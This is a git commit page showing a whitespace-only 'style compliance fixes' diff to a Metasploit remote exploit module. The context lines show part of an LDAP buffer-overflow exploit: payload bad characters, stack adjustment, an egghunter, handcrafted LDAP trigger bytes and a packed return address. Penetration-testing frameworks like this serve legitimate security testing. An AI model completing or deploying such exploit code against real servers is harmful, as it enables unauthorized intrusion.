style compliance fixes
git-svn-id: file:///home/svn/framework3/trunk@10908 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
979ddcd8e5
commit
b7f2d57709
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 450,
|
||||
'Space' => 450,
|
||||
'BadChars' => "\x00\x0a\x0d\x20",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
|
@ -65,12 +65,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
||||
egg = hunter[1]
|
||||
|
||||
|
||||
eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff
|
||||
eggend = "\x80\x00"
|
||||
|
||||
|
||||
print_status("Sending trigger and hunter first...")
|
||||
|
||||
|
||||
buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff
|
||||
buf << [target['Ret']].pack('V') + hunter[0]
|
||||
buf << "\x00"
|
||||
|
|
Loading…
Reference in New Issue